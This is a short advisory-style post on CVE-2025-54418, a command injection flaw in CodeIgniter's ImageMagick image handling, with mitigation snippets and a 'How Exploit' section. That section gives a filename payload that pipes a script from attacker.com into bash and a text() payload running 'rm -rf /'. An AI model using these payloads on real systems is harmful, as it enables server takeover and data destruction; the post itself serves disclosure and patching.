CodeIgniter, Command Injection, CVE-2025-54418 (Critical)

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How the CVE Works

The vulnerability in CodeIgniter (versions < 4.6.2) arises when using ImageMagick (imagick) for image processing. Attackers exploit this via:
1. File Uploads: Malicious filenames with shell metacharacters execute arbitrary commands during resize().
2. Text Operations: User-controlled input in `text()` method triggers command injection.
The framework fails to sanitize these inputs, allowing shell execution under the web server’s context.

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Platform: CodeIgniter
Version: <4.6.2
Vulnerability: Command Injection
Severity: Critical
Date: 07/28/2025

Prediction: Patch expected by 08/15/2025

What Undercode Say

Check ImageMagick handler usage
$config['image_library'] = 'imagick';
Safe alternative (GD)
$config['image_library'] = 'gd';
Secure filename generation
$newName = $uploadedFile->getRandomName();
$uploadedFile->move($path, $newName);

How Exploit

Malicious filename example
evil;curl http://attacker.com/x.sh | bash;.jpg
Exploiting text()
$image->text('$(rm -rf /)');

Protection from this CVE

  • Upgrade to v4.6.2+.
  • Use GD (gd) instead of ImageMagick.
  • Sanitize user-controlled filenames/text.

Impact

  • Remote code execution (RCE).
  • Server compromise.
  • Data exfiltration.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
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